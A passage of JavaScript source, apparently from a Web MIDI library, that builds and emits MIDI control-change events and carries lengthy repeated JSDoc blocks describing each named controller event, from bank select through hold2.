`controlchange`\n * @property {string} subtype The type of control change message that was received.\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n event.controller = {\n number: data1,\n name: Enumerations.CONTROL_CHANGE_MESSAGES[data1].name,\n description: Enumerations.CONTROL_CHANGE_MESSAGES[data1].description,\n position: Enumerations.CONTROL_CHANGE_MESSAGES[data1].position\n };\n event.subtype = event.controller.name || \"controller\" + data1;\n event.value = Utilities.from7bitToFloat(data2);\n event.rawValue = data2;\n /**\n * Event emitted when a **control change** MIDI message has been received and that message is\n * targeting the controller numbered \"xxx\". Of course, \"xxx\" should be replaced by a valid\n * controller number (0-127).\n *\n * @event InputChannel#controlchange-controllerxxx\n *\n * @type {object}\n * @property {string} type `controlchange-controllerxxx`\n * @property {string} subtype The type of control change message that was received.\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n const numberedEvent = Object.assign({}, event);\n numberedEvent.type = `${event.type}-controller${data1}`;\n delete numberedEvent.subtype;\n this.emit(numberedEvent.type, numberedEvent);\n /**\n * Event emitted when a **controlchange-bankselectcoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-bankselectcoarse\n *\n * @type {object}\n * @property {string} type `controlchange-bankselectcoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-modulationwheelcoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-modulationwheelcoarse\n *\n * @type {object}\n * @property {string} type `controlchange-modulationwheelcoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-breathcontrollercoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-breathcontrollercoarse\n *\n * @type {object}\n * @property {string} type `controlchange-breathcontrollercoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-footcontrollercoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-footcontrollercoarse\n *\n * @type {object}\n * @property {string} type `controlchange-footcontrollercoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-portamentotimecoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-portamentotimecoarse\n *\n * @type {object}\n * @property {string} type `controlchange-portamentotimecoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-dataentrycoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-dataentrycoarse\n *\n * @type {object}\n * @property {string} type `controlchange-dataentrycoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-volumecoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-volumecoarse\n *\n * @type {object}\n * @property {string} type `controlchange-volumecoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-balancecoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-balancecoarse\n *\n * @type {object}\n * @property {string} type `controlchange-balancecoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-pancoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-pancoarse\n *\n * @type {object}\n * @property {string} type `controlchange-pancoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-expressioncoarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-expressioncoarse\n *\n * @type {object}\n * @property {string} type `controlchange-expressioncoarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effectcontrol1coarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effectcontrol1coarse\n *\n * @type {object}\n * @property {string} type `controlchange-effectcontrol1coarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effectcontrol2coarse** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effectcontrol2coarse\n *\n * @type {object}\n * @property {string} type `controlchange-effectcontrol2coarse`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller1** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller1\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller1`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller2** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller2\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller2`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller3** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller3\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller3`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-generalpurposecontroller4** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-generalpurposecontroller4\n *\n * @type {object}\n * @property {string} type `controlchange-generalpurposecontroller4`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-bankselectfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-bankselectfine\n *\n * @type {object}\n * @property {string} type `controlchange-bankselectfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-modulationwheelfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-modulationwheelfine\n *\n * @type {object}\n * @property {string} type `controlchange-modulationwheelfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-breathcontrollerfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-breathcontrollerfine\n *\n * @type {object}\n * @property {string} type `controlchange-breathcontrollerfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-footcontrollerfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-footcontrollerfine\n *\n * @type {object}\n * @property {string} type `controlchange-footcontrollerfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-portamentotimefine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-portamentotimefine\n *\n * @type {object}\n * @property {string} type `controlchange-portamentotimefine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-dataentryfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-dataentryfine\n *\n * @type {object}\n * @property {string} type `controlchange-dataentryfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-channelvolumefine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-channelvolumefine\n *\n * @type {object}\n * @property {string} type `controlchange-channelvolumefine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-balancefine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-balancefine\n *\n * @type {object}\n * @property {string} type `controlchange-balancefine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-panfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-panfine\n *\n * @type {object}\n * @property {string} type `controlchange-panfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-expressionfine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-expressionfine\n *\n * @type {object}\n * @property {string} type `controlchange-expressionfine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effectcontrol1fine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effectcontrol1fine\n *\n * @type {object}\n * @property {string} type `controlchange-effectcontrol1fine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-effectcontrol2fine** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-effectcontrol2fine\n *\n * @type {object}\n * @property {string} type `controlchange-effectcontrol2fine`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-damperpedal** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-damperpedal\n *\n * @type {object}\n * @property {string} type `controlchange-damperpedal`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-portamento** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-portamento\n *\n * @type {object}\n * @property {string} type `controlchange-portamento`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-sostenuto** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-sostenuto\n *\n * @type {object}\n * @property {string} type `controlchange-sostenuto`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-softpedal** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-softpedal\n *\n * @type {object}\n * @property {string} type `controlchange-softpedal`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-legatopedal** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-legatopedal\n *\n * @type {object}\n * @property {string} type `controlchange-legatopedal`\n *\n * @property {InputChannel} target The object that dispatched the event.\n * @property {Input} port The `Input` that triggered the event.\n * @property {Message} message A [`Message`](Message) object containing information about the\n * incoming MIDI message.\n * @property {number} timestamp The moment (DOMHighResTimeStamp) when the event occurred (in\n * milliseconds since the navigation start of the document).\n *\n * @property {object} controller\n * @property {object} controller.number The number of the controller.\n * @property {object} controller.name The usual name or function of the controller.\n * @property {object} controller.description A user-friendly representation of the\n * controller's default function\n * @property {string} controller.position Whether the controller is meant to be an `msb` or `lsb`\n * @property {number} value The value expressed as a float between 0 and 1.\n * @property {number} rawValue The value expressed as an integer (between 0 and 127).\n */\n\n /**\n * Event emitted when a **controlchange-hold2** MIDI message has been\n * received.\n *\n * @event InputChannel#controlchange-hold2\n *\n * @type {object}\n * @property {string} type `controlchange-hold2`\n 